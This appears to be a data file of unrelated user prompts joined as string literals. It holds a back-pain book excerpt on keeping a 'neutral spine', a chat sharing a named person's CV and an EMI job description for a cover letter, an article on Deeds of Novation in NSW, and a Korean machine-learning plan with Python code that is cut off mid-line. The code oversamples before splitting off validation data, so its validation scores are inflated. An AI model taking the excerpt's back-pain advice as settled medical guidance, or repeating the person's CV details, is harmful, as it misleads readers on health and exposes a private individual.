big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' +'Please read this previous conversation and say OK.\n\nut\nI\'m a marketing and PR professional with over five years of music industry experience. \n\n\u200b\n\nI have always thrived whilst working with data, and I am proficient in using...\n\nData visualization tools (e.g. Power BI and Tableau)\n\nSQL\n\nExcel\n\nPython.\n\nIt sounds like you have a strong background in data analysis and visualization, which are valuable skills in the marketing and PR field. The ability to effectively analyze and present data can help you make more informed decisions and better understand your audience. It\'s also great that you have experience using a variety of tools, including Power BI, Tableau, SQL, Excel, and Python. These tools can help you efficiently process and analyze large amounts of data. Keep up the good work!\n\n\nMartin Weston\nHere is my CV:\n\nMARTIN WESTON - CVMarkeng professional withdata visualizaon,SQLandPythonskillsEDUCATION2012 - 2016Robinson College, University of CambridgeMusic BA Hons (2:1)2010 - 2010Royal Academy of Music, Junior DepartmentVoice (first study), Composition (second study)DATA ANALYST SKILLS & CERTIFICATIONS\uf310 View my portfolio website at:westonmartin.wixsite.com/data●Learn SQL-Codecademy●BI Dashboards with Power BI-Codecademy●BI Dashboards with Tableau-Codecademy●Statistics with NumPy (Python)-Codecademy●Data Analysis with Pandas (Python)-Codecademy●Analyze Data with Microsoft Excel-Codecademy●BigQuery Basics for Data Analysis-GoogleCloud SkillsBoost(currentlyenrolled)EXPERIENCEJuly 2021 -currentDecca, Universal Music GroupClassical Press Ocer●Managing UK press campaigns for all classical music projects:Planning press campaigns; Pitching and securingmedia coverage; Managing press requests and enquiries; Handling interviews/briefings; Writing press releasesand media bulletins; Developing journalist relationshipsJan 2019 -Jun 2021English Touring Opera (ETO)Marketing Ocer●Data analysis experience:Preparing weekly reports on marketing data (social media, CRM, ticket sales, GoogleAnalytics) usingExcel,Power BIandGoogle Data Studio; Completing extensive social media data audit toinform strategy; Using Power BI for audience profiling analysis using Audience Agency/Experian ‘Mosiac’ data●Managing ETO’s digital marketing: Facebook Ads (trac & conversion campaigns, Pixel tracking, A/B testing);Google Ads; Website maintenance (Craft CMS); E-newsletter (Mailchimp/Donorfy CRM); Social media planning;Design for print and digital advertising●Managing marketing on ETO tours:Working with touring venues to plan and execute campaigns; Managingmarketing budgets; Securing local and national media coverageFeb 2017 -Dec 2018Jeunesses Musicales International (JMI) - Brussels Head OceCommunications and Programs Ocer (Communications Intern for first 6 months)●Communications: Website design & maintenance; Social media; E-newsletter●Programs: Assistant Tour Manager on two JM Jazz World Orchestra tours in Eastern Europe; Eventsmanagement for conferences, concerts and festivals across Europe.Jan 2018 -Dec 2018BBC News, BrusselsOut-Of-Hours Studio Assistant●Operating Brussels TV and radio studiosto broadcast live to London (for Newsnight, Today, News Channel etc.)\nBased on your CV, it looks like you have a strong background in marketing and PR, with a focus on data analysis and visualization. You have a Bachelor\'s degree in Music from the University of Cambridge and have completed several courses on SQL, Power BI, Tableau, and Python. You also have experience using these tools in your work at English Touring Opera and Jeunesses Musicales International. In your current role at Decca, you are responsible for managing press campaigns for classical music projects. Your skills and experience make you well-suited for a career in marketing and PR, and you appear to be proficient in using data analysis tools to inform your work. Keep up the good work!\n\n\nMartin Weston\nMarketing Data Analysis - English Touring Opera\nUsing Excel and Power BI to analyze ETO\'s marketing data. Creating weekly reports and conducting exploratory data analysis to inform marketing strategy. \n\nWhilst working as Marketing Officer at English Touring Opera I worked with the Digital Culture Network\'s Tech Champions to significantly increase ETO\'s use of data to inform our marketing strategy. \nMy main activities:\n\nPreparing weekly reports on marketing data (social media, CRM, ticket sales, Google Analytics) using Excel, Power BI and Google Data Studio to present to the marketing team and senior management. \n\nCompleting an extensive social media data audit to inform our digital strategy.\n\nCompleting an audience profiling analysis using Audience Agency/Experian ‘Mosiac’ data.\nIt sounds like you had an important role in using data analysis to inform marketing strategy at English Touring Opera. By preparing weekly reports and conducting data audits, you were able to provide valuable insights to the marketing team and senior management. Your use of tools like Excel, Power BI, and Google Data Studio likely helped you efficiently process and visualize the data, making it easier to understand and act upon. Your work demonstrates the value of data analysis in marketing, as it can help organizations make more informed decisions and better understand their audiences. Keep up the good work!\n\n\nMartin Weston\nI became interested in data analysis whilst working at ETO. I thrived doing it. I have been speaking to data analysts since joining UMG. \nIt\'s great that you discovered a passion for data analysis during your time at English Touring Opera. The ability to effectively analyze and present data can be a valuable skill in many industries, including marketing and PR. Your experience at ETO, combined with your proficiency in tools like Power BI, Tableau, and Python, make you well-suited for a career in data analysis. You may want to consider taking additional courses or earning certifications to further develop your skills and knowledge in this area. Keep exploring your interests and continue to learn and grow in your career.\n\n\nMartin Weston\nrduino Accelerometer and Gyro Data Analysis Using Python\nEstimating position and orientation based on spatial and other data from an Arduino microcontroller attached to a medical device. \n\nThe project involves taking accelerometer and gyro readings from an Arduino microcontroller (attached to a medical device) and performing mathematical operations to plot the device’s position and orientation over time. \nThe project is a collaboration with a mechanical engineer, with my role to produce Python code to process the readings and and derive insights from the device’s data. \nThis is the first phase of the project where, using Python, I am able to convert accelerometer and gyro readings into position and orientation estimates. \n\n\nI am working on a second phase of the project which will collect and analyse data over a much longer timeframe, with the intention of applying machine learning techniques to infer conclusions from this mass of data. I will also experiment with visualize the device\'s position and orientation over time using a library like VPython. \nSee you can read more below and view the code on GitHub here. \n\nBackground\nA medical device is equipped with an Arduino, which collects data from various sensors, including linear accelerometers and gyros.\n\nAbove: an Arduino microcontroller\nObject\nTo record data from the Arduino-equipped device and to analyse the data so that it gives useful information about the device and its user.\nMethodology\nData from the device is transferred to the host computer and stored as a CSV file. Using Python, several operations are performed on the data so that the position and orientation of the device over time is recorded and displayed. \nFunction 1: "Zero" the time readings\nConverts the time readings into seconds and sets the readings to “zero”. \n# "Zero" the time readings\ndef zerotime(df, time, time\\_to\\_zero):\n df[time\\_to\\_zero] = (df[time] - df[time][0]) \\* 1000\nFunction 2: Estimate position based on linear acceleration\nThis uses the linear accelerometer output data to estimate the device\'s position. It has the below steps:\nUnit conversion – the linear accelerometer output data is in units of g. This is converted into units of mm/s2 which are more useful for real-world analysis (by multiplying it by acceleration due to gravity: 9.81 mm/s2)\n\nAverage linear acceleration between samples – the average linear acceleration between two adjacent time intervals (0.11 seconds apart) is determined. \n\nAverage linear velocity between samples – through integration over the time interval, the average linear velocity between time intervals is determined and recorded.\n\nDisplacement between intervals – a further integration over the time interval determines the displacement during that time interval\n\nDetermine position over time – summation of the displacement between time intervals is used to determine, at a particular time, the position of the device in mm along the axis with respect to its starting position.\nThis function can be applied to the accelerometer readings for each axis: x, y and z. \n# Estimate position based on linear acceleration\n\ndef posest(df, g\\_units, position):\n\n g\\_units\\_to\\_zero = df[g\\_units] - df[g\\_units][0]\n\n mmps2 = g\\_units\\_to\\_zero \\* gravity \\* 1000\n\n linear\\_velocity = (mmps2 + mmps2.shift(1)) / 2 \\* interval\n\n linear\\_displacement = linear\\_velocity \\* interval\n\n df[position] = linear\\_displacement + linear\\_displacement.shift(1)\nFunction 3: Estimate orientation based on angular acceleration \nAngular acceleration – similar to function 2, data manipulation and integration operations are performed on the gyro outputs to obtain angular velocity and roll, pitch and yaw position.\n# Estimate orientation based on angular acceleration \ndef orest(df, angular\\_acceleration, orientation):\n angular\\_acceleration\\_to\\_zero = df[angular\\_acceleration] - df[angular\\_acceleration][0]\n angular\\_velocity = (angular\\_acceleration\\_to\\_zero + angular\\_acceleration\\_to\\_zero.shift(1)) / 2 \\* interval\n angular\\_displacment = angular\\_velocity \\* interval\n df[orientation] = angular\\_displacment + angular\\_displacment.shift(1)\nPlotting the data\nThe position and orientation estimates are plotted over time. \n\n\n\nIt sounds like you are working on a project to analyze data from an Arduino microcontroller attached to a medical device. The data includes readings from linear accelerometers and gyroscopes, which are used to estimate the device\'s position and orientation over time. You are using Python to process the data and perform mathematical operations to derive these estimates. In the next phase of the project, you plan to collect and analyze data over a longer time period, and apply machine learning techniques to draw conclusions from the data. Your work demonstrates the potential of data analysis in the medical field, as it can help doctors and researchers better understand the performance of medical devices and the conditions of patients. Keep up the good work!\n\n\nMartin Weston\nHere is the job description of a job I am considering applying for. It is for the role of Data Analyst at EMI, part of Universal Music Group. \n\nThe Data Analyst role at EMI is integral to supporting the A&R, marketing and commercial teams in driving a culture of insight-based decision making and consistent feedback on our artists’ growth. Identifying the most valuable and impactful signifiers amongst the wealth of data available to us to tell the story in a relatable manner. Our goal is to empower our artists and label teams to make informed decisions based on those insights and ultimately deliver success.\n\nThe role will delve into the intersection of music and content consumption across all platforms, translating who and how fans are consuming, their behaviours, preferences and how growth can be positively impacted in this evolving landscape. Working closely with the marketing team and Fused, the Data Analyst will continue to build on the ‘test and learn’ roadmaps for our artists to grow and nurture superfans. Focussing on during and outside of release cycles, with an ‘always on’ approach through content and platform specific strategies.\n\nLooking back is as important as forward, the Data Analyst will play a lead role in driving a culture of feedback and reflection through data, bringing all departments together to dissect performance and learn from artist’s campaigns to inform future decision making.\n\nThe Data Analyst will have experience using large sets of data and information and be confident in translating these into actionable insights, plus develop close working relationships with various central data teams including Fused, The Square, Global Data Strategy, Commercial Intelligence and also with social platforms where required.\n\nThe B Side: Skills & Experience \n\nBe Analytical\n\nWork closely with all relevant internal and external stakeholders to help find the marketing story within the huge wealth of data we sit upon.\nKeep insights concise and easy to measure commercial impact including analysis of streaming and social data that translate to measurable KPI’s.\nMost significantly focussing on the impact of organic sound usage across social platforms such as Tik Tok, Instagram and YouTube.\nCombine commercial insights with contextual information on artists’ fans to build and deliver a full picture of an artists’ fanbase and how this evolves\nDeliver both management friendly and internal updates\nCreate timely reports highlighting KPI’s of interest from artist to macro level, depending on commercial/label/artist needs.\nUse of unique qualitative and quantitative information where relevant.\nBe Operational\n\nBuild bespoke systems and processes to help speed up processes in a fast-paced environment.\nFocus on improving the automation and data self-service across the label, collaborate across departments to help find solutions.\nAttend meetings, gigs, showcases, conferences, and other events to represent the label where required.\nBe Collaborative \n\nSupport key departments at EMI to ensure the successful interrogation of insight driven theories, feed into longer term planning.\nWork with data specialists in labels & central teams – both in UK and internationally - to ensure we are fully across the latest changes in this area - evolve our current measurement frameworks including econometric modelling of performance data.\nContribute to long-term plan to effect positive change within the label using data & analysis\nPersonal specification\n\nExperience in analysis role. SQL, Python or BigQuery knowledge would be a bonus.\nAbility to be both creative and data driven.\nExtremely digital savvy and quick to adopt trends.\nPassionate at reading audiences and trends in the music landscape.\nExceptional communication, presentations and organization skills.\nArtist focused and passionate about the music industry with a good knowledge of the digital and short form landscape.\nProactive attitude to work to deadlines, meet targets and multitask in a fast-paced environment.\nStrong relationship building skills and a team-oriented approach.\nJust so you know…\n\nThe company presents this job description as a guide to the major areas and duties for which the jobholder is accountable. However, the business operates in an environment that demands change and the jobholder\'s specific responsibilities and activities will vary and develop. Therefore, the job description should be seen as indicative and not as a permanent, definitive and exhaustive statement.\n\nJust So You Know…\n\nThe company presents this job description as a guide to the major areas and duties for which the jobholder is accountable. However, the business operates in an environment that demands change and the jobholder\'s specific responsibilities and activities will vary and develop. Therefore, the job description should be seen as indicative and not as a permanent, definitive, and exhaustive statement.\nJob Category:\nData, Analytics & Business Intelligence\nThe Data Analyst role at EMI involves using data to support the A&R, marketing, and commercial teams in making informed decisions and measuring the success of their strategies. The role will involve analyzing data on music and content consumption across platforms, identifying key trends and behaviors, and working closely with marketing teams to develop strategies for growing and engaging fans. The Data Analyst will also play a key role in driving a culture of feedback and reflection within the company, using data to inform future decision making. The ideal candidate will have experience using large sets of data, be skilled in translating data into actionable insights, and be comfortable working with various internal and external stakeholders. Experience with SQL, Python, and BigQuery would be a plus.\n\n\nMartin Weston\nCan you please draft a cover letter (about a page) for the job application making reference to my skills etc.' +"Write me a title for this article:\nAs a homeowner in NSW, it's vital to understand the legal mechanisms governing contractual obligations transfer. One such mechanism is Deed of Novation, useful when businesses change name or transfer contracts to third parties. This article explores Deed of Novation's definition, its importance to homeowners, and its differences from other legal mechanisms. By the end, you'll have a better understanding of Deed of Novation's relevance to homeowners in NSW.\nWhat is a Deed of Novation?\nA deed of novation is a legal document that allows one party to transfer its rights and obligations under an existing contract to a new party, who takes on these responsibilities and benefits from the original contract. This document enables the original party to be released from the contract while the new party assumes all legal obligations and rights under the agreement. \n\nNovation is typically used when a business undergoes significant changes such as mergers, acquisitions, or restructuring, and there is a need to transfer existing contractual agreements to a third party.\n\nNovation differs from an assignment in that it transfers all rights and obligations, while an assignment only transfers contractual benefits. It is essential to understand the implications of novation and seek legal advice to ensure that the deed is legally binding and effectively transfers contractual rights and obligations.\nKey Components of a Deed of Novation\nA deed of novation is a simple and effective tool for transferring the rights and obligations of one party under a contract to a third party. \n\nHere are the key components that a deed of novation should include:\n\nNovation or Effective Date\nThe novation or effective date is the date on which the new party will assume all the rights and obligations under the original contract. This date is critical, as it marks the point at which the transfer of rights and obligations takes place.\n\nRelease\nA release clause in a deed of novation releases the original party from all the obligations and liabilities under the contract from the date of novation. This clause ensures that the original party is no longer liable for any obligations or liabilities under the contract.\n\nRepresentations and Warranties\nRepresentations and warranties are promises made by both parties regarding the validity of the contract and their authority to enter into it. They also ensure that both parties are aware of each other's obligations and liabilities under the contract.\n\nFees and Payments\nThe fees and payments clause outlines any fees or payments that either party must make under the contract. This clause is critical, as it ensures that both parties are aware of their financial obligations under the contract.\n\nIt is essential to ensure that all these key components are included in the deed of novation to ensure that the transfer of rights and obligations is complete and legally binding. It is always recommended to consult with a legal professional before drafting or signing any legal documents.\n\nBenefits of a Deed of Novation\nA Deed of Novation offers several benefits to parties involved in a contract. By using a Deed of Novation, you can transfer your rights and obligations under an existing contract to a third party, without the need for extensive negotiation or the termination of the original contract. This can save time, money and resources, especially if the transfer involves complex contracts or multiple parties.\n\nOne of the key benefits of a Deed of Novation is that it allows you to simplify the process of transferring contractual obligations. Rather than renegotiating a new contract, you can simply transfer the existing contract to a new party. This can be particularly useful in situations where you are selling your business or restructuring your operations.\n\nAnother advantage of a Deed of Novation is that it minimizes the need for negotiation. Since the terms of the original contract remain the same, you can avoid lengthy and complicated negotiations with the other party. This can make the process of transferring contractual obligations more straightforward and efficient.\n\nFinally, a Deed of Novation can help you avoid the termination of existing contracts. If you need to transfer your contractual obligations to a third party, but do not want to terminate the existing contract, a Deed of Novation may be the best option. This way, you can transfer the obligations to a new party, while keeping the existing contract intact.\n\nRisks Associated with a Deed of Novation\nWhile a deed of novation is a useful legal tool, it is important to be aware of the potential risks that come with it. Here are some of the most significant risks to consider:\nUnforeseen obligations and liabilities: When entering into a deed of novation, it is essential to carefully consider the obligations and liabilities that are being transferred. There may be unforeseen obligations or liabilities that the new party may not be aware of, which could lead to disputes or legal action in the future.\nLack of clarity regarding the terms of the novation: A deed of novation must clearly outline the terms of the agreement to avoid any confusion or misunderstandings between the parties. Without clear and concise terms, there is a risk that the parties may have different interpretations of their obligations and responsibilities.\nThe need for careful consideration and legal advice: As with any legal agreement, it is important to seek professional legal advice before entering into a deed of novation. This will ensure that you understand the legal implications of the agreement and the risks associated with it.\nBy being aware of these risks and taking the necessary precautions, you can mitigate potential issues and ensure that the novation process runs smoothly.\n\nCommon Scenarios for Using a Deed of Novation\nA deed of novation can be a useful legal instrument in several scenarios, some of which include:\nSale or transfer of a business: If you're selling your business or transferring its ownership to another entity, a deed of novation can help transfer the contracts and obligations to the new owner.\nChanges in business structure: When you change your business structure, for example, from a sole trader to a company, a deed of novation can be used to transfer the contractual obligations to the new entity.\nTermination of contracts: A deed of novation can be used to transfer the obligations and rights under a contract to a third party, effectively terminating the contract.\nIt's important to note that while a deed of novation can be a useful legal tool in these scenarios, it's essential to obtain legal advice to ensure that the novation is done correctly and that all parties understand their rights and obligations.\n\nHow to Draft a Deed of Novation\nA Deed of Novation is a legal document that requires careful drafting to ensure that the transfer of obligations and rights is carried out smoothly and effectively. As such, it is important to seek legal advice from a qualified lawyer experienced in drafting and executing such deeds. Here are some key considerations to keep in mind when drafting a Deed of Novation:\nImportance of Legal Advice\nIt is essential to seek legal advice before entering into a Deed of Novation. A qualified lawyer can guide you through the process, identify any potential legal issues, and ensure that the deed is legally binding and enforceable.\nKey Considerations When Drafting a Deed of Novation\nWhen drafting a Deed of Novation, it is important to consider the following:\nParties involved - Clearly identify the parties involved in the novation, including the original parties, the new parties, and any other relevant parties.\nNovation or Effective Date - Clearly state the date from which the novation applies to the parties.\nRelease - Include a clause releasing the original party from all performance of the contract from the novation date.\nRepresentations and Warranties - Include any representations or warranties made by either party.\nFees and Payments - Include any fees or payments to be made by either party.\nSample Deed of Novation\nHere is an example of a Deed of Novation template:\n[Insert date of novation]\nDeed of Novation\nParties\n[Insert original party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (Original Party);\n[Insert new party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (New Party).\nBackground\n[Insert details of the original contract].\nAgreed Terms\n[Insert details of the novation, including the novation or effective date, release, representations and warranties, and fees and payments].\nExecution\nExecuted as a Deed.\nExecuted by:\n[Insert name of Original Party]\n[Insert signature of Original Party]\n[Insert name of New Party]\n[Insert signature of New Party]\n\nSigning a Deed of Novation\nOnce the Deed of Novation has been drafted, it's time to execute it. The signing of a Deed of Novation is an essential step that requires careful consideration. The following are key points to keep in mind when signing a Deed of Novation:\n\nRequirements for signing a Deed of Novation:\n\nAll parties involved in the agreement must sign the Deed of Novation.\nThe signatures of witnesses may also be required, depending on the jurisdiction and the terms of the agreement.\nThe date of execution must be clearly stated on the Deed of Novation.\n\nImplications of a poorly executed Deed of Novation:\n\nThe failure to comply with the necessary legal requirements can result in the Deed of Novation being invalid, which could create legal problems down the line.\nIncomplete or unclear Deeds of Novation can cause confusion and lead to disputes.\n\nIt is therefore recommended that parties seek legal advice when executing a Deed of Novation to ensure that all legal requirements are met and that the document is executed correctly.\n\nConclusion\nIn conclusion, a Deed of Novation is an important legal document that can be used in a variety of scenarios to transfer contractual obligations. While there are benefits to using a Deed of Novation, there are also risks that must be carefully considered. Seeking legal advice is crucial to ensure that the document is drafted correctly and executed properly. \n\nAt Contracts Specialist, we offer a free consultation to homeowners in NSW who are considering a Deed of Novation. Contact us today to schedule a meeting with one of our experienced lawyers." +'제공된 정보를 바탕으로 이 텍스트 분류 문제에 접근하기 위해 수행해야 하는 단계의 개요는 다음과 같습니다:\n\n데이터 전처리:\n\n\'train.csv\' 및 \'test.csv\' 파일을 로드합니다.\n특수 문자, HTML 태그, URL, 숫자(유용한 정보를 제공하지 않는 경우)를 제거하여 텍스트 정리를 수행합니다.\n모든 텍스트를 소문자로 변환합니다.\n텍스트를 토큰화합니다(단어로 분할).\n정지 단어는 상위 1그램 주파수를 지배하고 분류에 크게 기여하지 않을 수 있으므로 제거합니다.\n어간 또는 형태소 변환을 수행하여 단어를 어근 형태로 줄이면 특징 공간을 줄이는 데 도움이 될 수 있습니다.\n특징 엔지니어링:\n\n단어의 가방(BoW), 용어 빈도 역문서 빈도(TF-IDF) 또는 단어 임베딩(예: Word2Vec, GloVe 또는 FastText)과 같은 기술을 사용하여 토큰화된 텍스트를 숫자 피처로 변환합니다.\n필요한 경우 주성분 분석(PCA), 절단된 특이값 분해(SVD) 또는 t-분산 확률 이웃 임베딩(t-SNE)과 같은 기술을 사용하여 차원 축소를 수행합니다.\n클래스 불균형 처리:\n\n레이블이 불균형하므로 소수 클래스(예: SMOTE)를 오버샘플링하거나 다수 클래스를 언더샘플링하는 등의 기법을 사용하는 것을 고려하세요.\n또는 모델 학습 중에 소수 클래스에 더 높은 가중치를 할당하여 비용에 민감한 학습을 사용할 수도 있습니다.\n모델 선택 및 훈련:\n\n\'train.csv\' 데이터를 훈련 및 검증 세트로 분할합니다.\n나이브 베이즈, 로지스틱 회귀, SVM(서포트 벡터 머신), 랜덤 포레스트, GBM(그라디언트 부스팅 머신) 등 다양한 모델을 실험해 보세요.\n컨볼루션 신경망(CNN), 순환 신경망(RNN), 장단기 기억(LSTM) 네트워크 또는 BERT, RoBERTa, GPT와 같은 트랜스포머 기반 모델과 같은 딥러닝 모델도 사용해 볼 수 있습니다.\n모델 평가 및 하이퍼파라미터 튜닝:\n\nk-배 교차 검증을 사용하여 F1 점수를 기반으로 모델을 평가하세요.\n그리드 검색 또는 무작위 검색과 같은 기술을 사용하여 선택한 모델의 하이퍼파라미터를 조정합니다.\n모델 앙상블:\n\n필요한 경우 여러 모델을 결합하여 배깅, 부스팅 또는 스태킹과 같은 기법을 통해 성능을 개선합니다.\n제출:\n\n전체 \'train.csv\' 데이터 세트에 대해 최종 모델을 훈련합니다.\n학습된 모델을 사용하여 \'test.csv\' 데이터 세트에 대한 예측을 생성합니다.\n예측된 레이블을 사용하여 \'sample\\_submission.csv\' 형식의 제출 파일을 생성합니다.\n대회에 예측을 제출합니다.\n대회 규칙을 준수하고 외부 데이터를 사용하거나 테스트 데이터세트로 모델을 훈련시키지 않도록 유의하세요. 행운을 빕니다!\n\nTranslated with www.DeepL.com/Translator (free version)\n\n\nimport pandas as pd\nimport numpy as np\nimport re\nfrom sklearn.feature\\_extraction.text import TfidfVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model\\_selection import train\\_test\\_split, StratifiedKFold, GridSearchCV\nfrom sklearn.metrics import f1\\_score\nfrom imblearn.over\\_sampling import SMOTE\nfrom gensim.models import FastText\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom lightgbm import LGBMClassifier\nfrom tqdm.auto import tqdm\n\n# Data preprocessing\ndef preprocess\\_text(text):\n text = re.sub(r"//.\\*", "", text)\n text = re.sub(r"http\\S+|www\\S+|https\\S+", "", text)\n text = re.sub(r"\\W", " ", text)\n words = word\\_tokenize(text.lower())\n stop\\_words = set(stopwords.words("english"))\n words = [word for word in words if word not in stop\\_words]\n return " ".join(words)\n\n# Load the data\ntrain = pd.read\\_csv("./data/train.csv")\ntest = pd.read\\_csv("./data/test.csv")\n\n# Preprocess text data\ntrain["text"] = train["text"].apply(preprocess\\_text)\ntest["text"] = test["text"].apply(preprocess\\_text)\n\nfrom gensim.models import FastText\nfrom tqdm.auto import tqdm\n\n# Feature engineering\nembedding\\_size = 150 # Increase the embedding\\_size as needed\ntrain\\_sentences = train["text"].apply(lambda x: x.split()).tolist()\n\n# Train FastText model with tqdm\nfasttext\\_model = FastText(sentences=tqdm(train\\_sentences, desc="Training FastText"), vector\\_size=embedding\\_size, window=3, min\\_count=1, epochs=10)\n\ndef get\\_text\\_vector(text, model, embedding\\_size):\n words = text.split()\n text\\_vector = np.zeros(embedding\\_size)\n n\\_words = 0\n \n for word in words:\n if word in model.wv:\n text\\_vector += model.wv[word]\n n\\_words += 1\n \n if n\\_words > 0:\n text\\_vector /= n\\_words\n \n return text\\_vector\nX\\_train = np.array([get\\_text\\_vector(text, fasttext\\_model, embedding\\_size) for text in tqdm(train["text"])], dtype=np.float64)\nX\\_test = np.array([get\\_text\\_vector(text, fasttext\\_model, embedding\\_size) for text in tqdm(test["text"])], dtype=np.float64)\ny\\_train = train["label"].to\\_numpy()\n\n# Perform SMOTE sampling\nsmote = SMOTE(random\\_state=42)\nX\\_train, y\\_train = smote.fit\\_resample(X\\_train, y\\_train)\n\n# Split the data\nX\\_train, X\\_val, y\\_train, y\\_val = train\\_test\\_split(X\\_train, y\\_train, test\\_size=0.1, random\\_state=42, stratify=y\\_train)\n# Model\ngbm = LGBMClassifier(random\\_state=42)\n\n# Hyperparameter tuning\nparam\\_grid = {\n \'n\\_estimators\': [100, 200, 300],\n \'learning\\_rate\': [0.01, 0.1, 0.2],\n \'max\\_depth\': [3, 5, 7],\n \'num\\_leaves\': [31, 63, 127]\n}\n\ngrid\\_search = GridSearchCV(estimator=gbm, param\\_grid=param\\_grid, scoring=\'f1\\_weighted\', cv=3, verbose=2, n\\_jobs=-1)\ngrid\\_search.fit(X\\_train, y\\_train)\n#best\\_params = grid\\_search.best\\_params\\_\nbest\\_params = {\'learning\\_rate\': 0.2, \'max\\_depth\': 7, \'n\\_estimators\': 300, \'num\\_leaves\': 